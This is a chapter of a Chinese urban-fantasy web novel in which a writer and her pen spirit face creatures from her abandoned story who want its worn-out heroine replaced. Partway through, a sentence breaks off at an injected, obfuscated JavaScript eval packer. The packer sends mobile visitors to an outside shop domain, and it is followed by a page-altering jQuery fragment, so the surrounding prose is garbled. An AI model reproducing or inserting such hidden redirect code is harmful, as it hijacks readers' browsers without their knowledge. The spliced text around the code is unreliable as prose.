门缝底下渗进来的黑色水迹，在齐妙家玄关地板上缓慢铺开。
那东西看起来像墨，又比墨更活。它不是自然流淌，而是带着一种明确的目的性，一笔一画，认真而艰难地组成了一行字。
——请把女主角换掉。
齐妙站在客厅里，手里还拿着刚点完外卖的手机。
白无挡在她前面，神情比刚才严肃很多。他现在是少年模样，黑白色衣服穿得规整，手里却还抱着那根竹子，这让他的危险程度在视觉上大打折扣。
齐妙低头看着地上的字，沉默片刻，问：“他们这是来投稿意见的？”
白无：“不是。”
齐妙：“那是读者反馈？”
白无看她一眼：“你见过读者反馈从门缝底下渗进来吗？”
齐妙诚实道：“没见过，但我见过半夜三点发长评骂作者的，怨气差不多。”
白无：“……”
门外又传来敲门声，和刚才一样，不轻不重，很有礼貌。
如果忽略地上那行黑色字迹，这甚至像是邻居来借酱油。
齐妙看了一眼防盗门：“他们能进来吗？”
“暂时不能。”白无说，“这扇门上有笔的气息。只要你不开门，它们不能直接闯进来。”
齐妙松了口气，她刚松到一半，白无又补了一句：“但如果它们一直留在门外，会影响整栋楼。”
齐妙：“……”
她看着白无：“你说话能不能一次说完？”
白无想了想：“不能。”
齐妙：“为什么？”
“你接受坏消息的能力需要分层训练，一次性也没必要要你知道这么多。”
齐妙：“……”
她合理怀疑这支笔不仅成精，而且成精以后还学坏了。
门外的黑色水迹还在蔓延。
那行“请把女主角换掉”写完以后，墨迹并没有停下，而是继续歪歪扭扭地往旁边延伸，似乎还想补充说明。但它写得很慢，像是力量不足，又像是门外的东西并不擅长使用人类文字。
齐妙盯着它看了一会儿。
新的字终于成形。
——她太痛苦了。
齐妙脸上的表情变了，白无也看见了那句话。
屋子里安静下来，门外没有再敲，只剩下楼道里很轻的呼吸声。
那呼吸声并不属于人类，它细碎、短促，像纸张被风吹动，又像两只很小的东西贴在门板外，正在努力听屋内的动静。
齐妙低声问：“哪个女主角？”
门外的墨迹停了一下，然后一笔一画写出两个字。
——倩倩。
齐妙手指轻轻一颤，白无转头看她：“你想起来了？”
“想起来一点。”齐妙说。
《倩倩不想做女主》。
这篇文是她几年前开的。严格来说，它甚至不能算一篇完整的长篇，只有开头十几章和一堆混乱的大纲。
女主角叫倩倩，一个很普通、甚至普通到有点敷衍的名字。
齐妙当时起这个名字的时候，是故意的。她想写一个不是天选之人、不够聪明、不够勇敢，也不够特别的女主角。她被命运推到故事中心，被迫承担拯救世界的责任，可她从头到尾都不想当女主。
她想回家，想睡觉，想过平静生活，想不要每天睁开眼，就有人告诉她：你必须继续往前走，因为你是女主角。
齐妙当时觉得，这个设定很有共鸣。后来她忙起来，就把这个很有共鸣的女主角丢在了那里。
齐妙看着地上的字，心情有点复杂。
“她怎么了？”她问。
门外没有立刻回答，过了几秒，墨迹重新动起来。
——她每天都在哭。
齐妙抿了抿唇，白无说：“不要直接相信。”
齐妙看向他，白无的神色很冷静：“从作品世界里出来的角色生物，不一定会说完整的真相。它们有自己的愿望，也有自己的偏见。你是作者，它们知道什么话最容易影响你。”
齐妙：“所以这是道德绑架？”
“有可能。”
“但也可能是真的？”
“也有可能。”
齐妙沉默了一下：“你这个回答的帮助程度，相当于没回答。”
白无说：“我只能保证它们暂时不能伤你，不能保证它们说话诚实。”
齐妙低头看着地上的她每天都在哭”。
字迹很丑，却很用力，她知道白无说得对。
她不应该因为门外两个不知名东西的几句话，就轻易动摇。她现在连情况都没弄清，甚至不知道门外是什么。万一对方只是想骗她开门，万一所谓“换女主角”只是某种诱导，万一倩倩根本没有那么痛苦。
可问题是，她确实把倩倩丢下了。一个人如果真的没有做过亏心事，是比较容易理直气壮的。
齐妙做过，还做了很多次，她叹了口气：“如果我开门，会怎么样？”
白无立刻说：“不建议。”
齐妙：“那让它们一直在门外写小作文？”
白无：“我可以把它们驱散。”
齐妙问：“驱散以后呢？”
白无停住，齐妙看着他：“它们会回到原来的世界吗？”
白无说：“不一定。有些会被送回裂缝附近，有些会消散一段时间后重新出现。”
“会痛吗？”
白无没有回答，齐妙明白了。
她揉了揉额角，觉得自己这两天的人生难度提升得很不合理。昨天她还在跟项目负责人争署名，今天就要判断未知超自然生命体的上访诉求是否合理，甚至没有社区调解员。
门外的墨迹又开始动，这次它写得更慢。
——她不是坏人。
——她只是撑不住了。
齐妙看着那两行字，心口像被什么东西轻轻压了一下。
她忽然想起自己辞职前的很多个夜晚。
电脑屏幕亮着，文档里全是修改意见。她盯着那些字，明明很困，却睡不着。
第二天还要交稿，她不能停，所有人都说项目马上就要推进，她不该在这个时候拖团队后腿。
每个人都说，你再坚持一下，坚持是一个很好用的词。
它经常被拿来要求别人继续痛苦。
齐妙低声说：“我不换女主角。”
门外的呼吸声停了一瞬。
地上的墨迹也不动了，白无看向她。齐妙继续道：“这是我的故事，倩倩是女主角。我当初写她，就是因为她不是一个完美英雄。如果她痛苦，应该解决痛苦的原因，不是把她换掉。”
门外忽然传来一阵急促的摩擦声，像有什么东西在门板上抓挠。
白无上前一步，指尖浮起一缕淡淡的黑白光。
齐妙抬手拦了他一下。
“但是，”她对门外说，“我可以听你们说完。”
门外安静下来，过了几秒一道很细很细的声音从门缝里钻进来。
“真的吗？”
齐妙愣了一下，那声音听起来不像人。
它很小带着一点沙哑，像纸人被揉皱后发出来的响动。
白无低声说：“别让它们进屋。”
齐妙点头，她想了想，搬来一把椅子，坐在防盗门里面，隔着门问：“你们是谁？”
门外的东西似乎犹豫了一下，然后有两个声音同时响起。
一个细，一个闷。
“我是灯芯。”
“我是门环。”
齐妙：“……”
她表情微妙：“这是名字，还是物种？”
细声音说：“都是。”
闷声音补充：“我们原本就是灯芯和门环。”
齐妙看向白无。
白无说：“低级角色生物。世界规则不完整时，一些物品会因为长期接触主角情绪而获得意识。”
齐妙点头，也就是说倩倩世界里的灯芯和门环成精了。
她接受得很快，毕竟她家里已经有一支钢笔成精了。
齐妙隔着门问：“你们为什么要换掉倩倩？”
门外的灯芯立刻说：“因为她做不到。”
齐妙：“做不到什么？”
门环的声音闷闷的：“做不到走到结局。”
齐妙心口一沉，她问：“你们的世界现在是什么样？”
门外安静了一会儿，然后灯芯开始讲。
它讲得并不流畅。它本来就不是人，也不习惯用人的方式描述世界。
很多时候，它说出来的句子是断裂的，词语和词语之间缺少连接，只能靠齐妙自己去拼凑。
但齐妙还是慢慢听明白了，倩倩所在的世界，是一座被雾包围的城。
那座城没有名字，或者说，齐妙还没来得及给它起名字。城里的人都知道倩倩是女主角，知道她必须完成一个任务，知道她要打开城中央那座高塔，取出塔顶的“月骨”，用它结束不断扩张的雾。
可问题是，齐妙只写到倩倩第一次进入高塔失败。
之后就没有了，于是那个世界停在了失败之后。
每一天，雾都会从城外涌来。
每一天，城里的人都会把希望放到倩倩身上。
每一天，倩倩都会被推到高塔前。
她知道自己应该进去，她也知道自己会失败。
可故事没有后文，她就永远不知道第二次应该怎么成功。
她只能站在塔门前，一遍又一遍听见人群说你是女主角，你一定可以，你必须可以。
起初倩倩还会反驳，后来她会哭，再后来她不哭了。
她只是每天在天亮前坐在窗边，看着自己的手，问灯芯：“我是不是哪里坏掉了？”
讲到这里，灯芯的声音发颤，“她没有坏。”灯芯说，“她只是太累了。”
齐妙坐在门内，没有说话，她的手指放在膝盖上，慢慢蜷起来。
白无站在一旁，也没有打断。
门环闷声说：“城里的人越来越急。他们说，如果倩倩做不到，就换一个女主角。换一个勇敢的。换一个不会哭的。换一个知道怎么走到结局的。”
齐妙低声问：“这是你们的想法，还是城里人的想法？”
门外又安静了，这次安静得更久。
最后灯芯很小声地说：“一开始是他们的。”
齐妙问：“后来呢？”
灯芯不说话了，门环说：“后来我们也觉得，也许换掉她，她就不用那么痛苦了。”
齐妙闭了闭眼，这个逻辑很残忍，但她竟然不能说它完全错。
如果一个人的身份本身就是痛苦来源，那把身份拿走，看起来像拯救。
可倩倩不是一件工具，女主角也不是一顶帽子，摘下来换到别人头上就能解决问题。
齐妙问：“你们问过倩倩吗？”
门外没有声音，齐妙说：“你们有没有问过她，她想不想被换掉？”
灯芯很轻地说：“她说她不想当女主角。”
齐妙：“这不等于她想被别人替代。”
灯芯急道：“可是她很痛苦！”
“痛苦的人也有选择权。”齐妙说。
这句话说出口后，她自己也怔了一下。
她忽然意识到，这句话也许不只是说给门外那两个小东西听。
也是说给她自己听，她昨天离职的时候，所有人都觉得她冲动，不懂事，不该在项目推进时走。
可她痛苦了那么久，为什么她不可以选择离开？
倩倩也是一样，她不想当女主角，不代表别人可以替她决定消失。
齐妙站起来，走到书桌前，拿起那本笔记本。
白无立刻警惕：“你要做什么？”
“查资料。”
“不能登录作者账号。”
“我不登录。”
齐妙打开自己的旧硬盘，硬盘插上电脑时发出轻微的嗡鸣声。她在文件夹里翻找了很久，终于找到一个名叫“旧坑不要看”的文件夹。
这个文件夹名字很有自知之明。
齐妙点进去，又看见一排更有自知之明的文档名：
《山海小食堂大纲最终版》。《山海小食堂大纲最终版2》。
《山海小食堂真的最终版》。《妖怪观察日记后续整理》。
《倩倩不想做女主设定》。
齐妙打开最后一个文档，文档加载了几秒，跳出一片熟悉又陌生的文字。
她看着那些设定，慢慢想起来了，倩倩所在的城叫望月城。
城外的雾不是普通的雾，它会吞掉没有结论的事情，没有结果的等待，没有被说出口的愿望。城中央的高塔叫照影塔，塔顶的月骨并不是武器，而是一段记忆。
倩倩要取回的，不是拯救世界的神器，而是城里所有人忘记自己曾经也可以选择的记忆。
齐妙看着屏幕，忽然低声骂了一句：“我当年还挺能写。”
白无：“……”
门外的灯芯小心翼翼问：“作者？”
齐妙回过神，她看着文档，继续往下翻。
大纲后半截果然是空的，她只写了“倩倩第二次进入高塔”，后面是一行括号。
【这里再想想，要有一个很漂亮的反转。】
齐妙：“……”
这种看见过去的自己给现在的自己挖坑的感觉，十分不美妙。
她盯着那行字，真心觉得如果能穿越回去，她一定要掐住当年的自己，告诉她：漂亮反转不是靠括号自动长出来的。
白无看着屏幕：“你想起来多少？”
“一部分。”齐妙说，“但不够。”
她转头看向门口。
“灯芯，门环。”她问，“倩倩现在还在照影塔前吗？”
灯芯怔了一下：“你记得照影塔？”
“废话。”齐妙说，“我写的。”
门外传来很轻的抽气声。
门环的声音忽然变得激动：“那你能救她吗？”
齐妙没有立刻回答，她如果说能，那是在骗人。
她现在连那个世界的后续都没完全想起来，也不知道怎么在不进入作品世界的情况下修补剧情。更重要的是，她不能一上来就答应“救”，因为作者的傲慢有时候就藏在这种轻飘飘的承诺里。
齐妙说：“我可以试着写下后续方向。但我不会换掉倩倩。”
门外沉默，灯芯很小声地问：“为什么？”
齐妙看着文档里的设定，慢慢说：“因为这个故事本来写的就不是一个勇敢的人如何成功拯救世界，而是一个不想承担命运的人，如何找回选择自己的权利。换成一个天生勇敢的人，这个故事就没意义了。”
白无看向她，齐妙继续道：“如果倩倩不想当女主角，那她最后要得到的，应该是决定自己还要不要继续当女主角的权利，而不是被别人替换。”
这次门外很久都没有声音，过了许久，灯芯轻轻问：“可是城里的人等不了。”
“那城里的人也该学会自己做点事。”齐妙说，“不能所有问题都压在一个人身上。”说完这句，她忽然觉得有点耳熟。
哦。
她以前也很想对项目组说这句话，不能所有问题都压在一个编剧身上，尤其是这个编剧还没有署名。
门环似乎有些茫然：“可是她是女主角。”
齐妙说：“女主角不是祭品。”
这句话落下时，玄关地上的墨迹微微颤了一下，像有什么细小的东西被触动了。
齐妙坐回书桌前，翻开笔记本，拿起熊猫钢笔，白无上前：“不要写作品正文。”
“我知道。”齐妙说，“我写短故事。”
“短故事？”
“先写一个临时补丁。”
白无似乎不太赞同这个说法：“世界不是程序。”
齐妙说：“但坑文作者的脑子有时候很像崩坏程序。”
白无：“……”
齐妙在笔记本上写下：《倩倩做了一个梦》。
她没有打开作者后台，用那支笔，在现实里的纸上写一个很短的故事。
故事里，倩倩又一次站在照影塔前，雾从城外涌来，所有人都在催她进去。但这一次，倩倩没有立刻推门。她转身看向那些把希望放在她身上的人，问他们：“如果我失败了，你们会做什么？”
城里人答不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787846|210228||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上来，因为他们从来没有想过这个问题，他们只等着女主角成功。
倩倩又问：“如果我不进去，你们会做什么？”
还是没人回答，于是倩倩在塔前坐了下来，她说：“那今天谁也别进去。我们先想清楚，为什么只有我一个人必须拯救这座城。”
齐妙写到这里时，钢笔微微发热，纸上的字泛起淡淡的光。
门外忽然传来灯芯的一声惊呼，“她坐下了！”
齐妙手一顿，门环也震惊道：“她真的坐下了！”
齐妙低头看着笔记本，白无的神情也变了。
他走到门边，看着地上的墨迹。原本浓黑的水迹开始变浅，像被什么力量慢慢冲淡。门外那两道非人的气息也不再像刚才那样焦躁。
灯芯的声音又哭又笑：“他们都傻了。”
门环闷闷道：“城主也傻了。”
齐妙听到这里，莫名觉得有点爽，她继续写。
倩倩坐在照影塔前，从早上坐到中午。
一开始，所有人都指责她逃避责任。后来雾越来越近，人们终于开始慌张。他们想冲上来推她进去，可倩倩抬起头，第一次大声说：“我可以进去，但你们要告诉我，我进去以后，你们准备做什么。”
雾不会因为她是女主角就只吞掉她一个人。如果这座城要活，就不能只有一个人在往前走。
写到这里，齐妙停下了。
这不是结局，只是一个暂停，一个让倩倩不必继续重复失败的暂停。
白无看着那页纸，低声说：“你改变了那一天。”
齐妙抬头：“严重吗？”
“暂时不严重。”白无说，“这不是正式补完，只是用笔的力量给那个世界加了一段缓冲。它不能替代结局，但可以短暂稳定倩倩的状态。”
齐妙松了口气，门外灯芯和门环都安静了下来。
过了很久，灯芯小声说：“她没有哭。”
齐妙握着笔的手顿了顿。
门环说：“她在发呆。”
灯芯说：“她好像很累。”
齐妙轻声说：“那就让她休息一会儿。”
门外没有再请求换掉女主角，齐妙看着地上的墨迹慢慢消散，心里的石头还没完全落下，白无忽然说：“它们该回去了。”
齐妙问：“怎么回？”
白无指向书桌上的笔：“你画一盏灯和一个门环。不要画得太完整，只要让它们暂时有依附物。我会借笔的气息，把它们送回原世界裂缝附近。”
齐妙照做，她画画水平依旧很一般，灯画得像一只歪脖子蘑菇，门环则像一个失败的甜甜圈。
门外的灯芯和门环看见后，陷入了微妙的沉默，齐妙有点尴尬：“能用就行，不要进行外貌羞辱。”
白无伸手按在纸面上，黑白光芒沿着钢笔划过的线条扩散。玄关地板上的残余墨迹被一点点吸入纸中，那盏歪脖子灯和失败甜甜圈门环同时轻轻一震。
门外传来灯芯很小声的一句：“谢谢。”
门环停了停，也闷声说：“不要换掉她了。”
齐妙说：“嗯。”
门环又说：“但你要写完。”
齐妙：“……”
灯芯补充：“不然我们还会来的。”
齐妙真诚道：“你们世界的人情味，真是来得快去得也快。”
白无手里的光芒一收，纸上的灯和门环消失了。门外的气息也彻底不见。
玄关恢复干净，仿佛刚才那场跨世界上门请愿从未发生过。
齐妙坐在椅子上，长长吐出一口气。她忽然觉得很累，那种旧债突然被债主找上门、并且债主还挺有道理的累。
白无看着她：“你处理得还算可以。”
齐妙抬眼：“只是还算？”
白无认真道：“你差点就想开门。”
齐妙：“但我没有。”
“你差点登录作者账号。”
“但我也没有。”
“你画的门环很丑。”
齐妙：“这个和危机处理有什么关系？”
白无想了想：“影响观感。”
齐妙把笔帽盖上。
“白无。”
“嗯？”
齐妙认真问：“笔灵会被退货吗？”
白无：“……”
就在这时，门铃响了，齐妙和白无同时看向门口。
两人都静了一下，齐妙压低声音：“这次是什么？”
白无走到门边，感受片刻，表情微妙：“人。”
齐妙：“确定？”
白无点头，门外传来外卖员的声音：“您好，螺蛳粉到了。”
齐妙整个人活了过来，她打开门，接过外卖，说了声谢谢。外卖员转身下楼前，还忍不住看了屋里一眼。
主要是白无站在客厅里，少年模样，怀里抱着一根竹子，画面很难不让人多想。
外卖员欲言又止，齐妙面不改色：“我弟，学校话剧排练。”
外卖员恍然大悟：“哦哦，现在孩子挺有创意。”
门关上，白无看着她：“弟？”
齐妙把螺蛳粉放到桌上：“不然说你是非法成精文具？”
白无：“……”
齐妙拆开外卖盒，酸笋的气味迅速扩散。
白无后退一步，脸色微变：“这是什么？”
齐妙挑眉：“现代社会的伟大发明。”
白无警惕：“闻起来像某种腐坏的诅咒。”
齐妙认真道：“你可以侮辱我的画技，但不能侮辱螺蛳粉。”
白无沉默，齐妙吃了两口，精神明显恢复了一点。
她看向电脑屏幕上《倩倩不想做女主》的设定文档，又看向笔记本上刚写下的短故事。
这只是一个开始，她没有真正解决倩倩的问题也没有关闭那个世界的通道。她只是暂时让一个被困在重复失败里的女主角坐了下来，喘了一口气。但这已经足够让齐妙意识到一件事。
那些被她留在半路上的故事，不是删除文档就能消失的。
她曾经写下的每一个“以后再说”，在另一个地方，都可能变成一个人漫长的等待。
齐妙夹起一筷子粉，忽然说：“白无。”
白无坐在离螺蛳粉最远的地方：“嗯。”
“如果我真的把这些故事都写完，通道就会消失吗？”
白无安静了一会儿，“理论上会稳定。”他说，“但不一定消失。”
齐妙抬头：“什么意思？”
“有些通道，是因为未完成而打开。”白无说，“但有些，不只是因为未完成。”
齐妙皱眉：“还有什么原因？”
白无没有立刻回答，他看向书桌上的熊猫钢笔。
阳光落在笔帽上，那只雕刻出来的熊猫低头抱着竹子，表情依旧憨厚而严肃。
白无说：“你现在还不需要知道。”
齐妙放下筷子，“通常说这句话的人，都有问题。”
白无：“……”
“而且你是笔灵。”齐妙看着他，“换句话说，你也是我这边的角色生物，对吧？”
白无抬起眼，这一次，他没有马上否认。
齐妙心里微微一沉，屋子里忽然安静下来，螺蛳粉的热气往上冒，电脑屏幕亮着，笔记本摊在桌上，一切都很生活化。可在这种生活化里，齐妙第一次清楚感觉到，白无也许并不只是一个负责说明规则的新手引导。
他知道很多事，也隐瞒了很多事。
白无说：“我不会害你。”
齐妙问：“这是保证，还是设定？”
白无看着她，就在这句话之后，齐妙的电脑屏幕忽然闪了一下。
原本打开的设定文档上，光标自己移动起来。
齐妙没有碰键盘，白无也看向屏幕。
空白的大纲末尾，缓慢出现了一行新的字。
【倩倩坐在塔前的第三个时辰，城里有人决定杀了她。】
齐妙：“……”
她盯着那行字，筷子还停在半空中，过了两秒，她真心实意地说：
“我就知道，角色坐下来休息这种好事，在我的文里不可能持续太久。”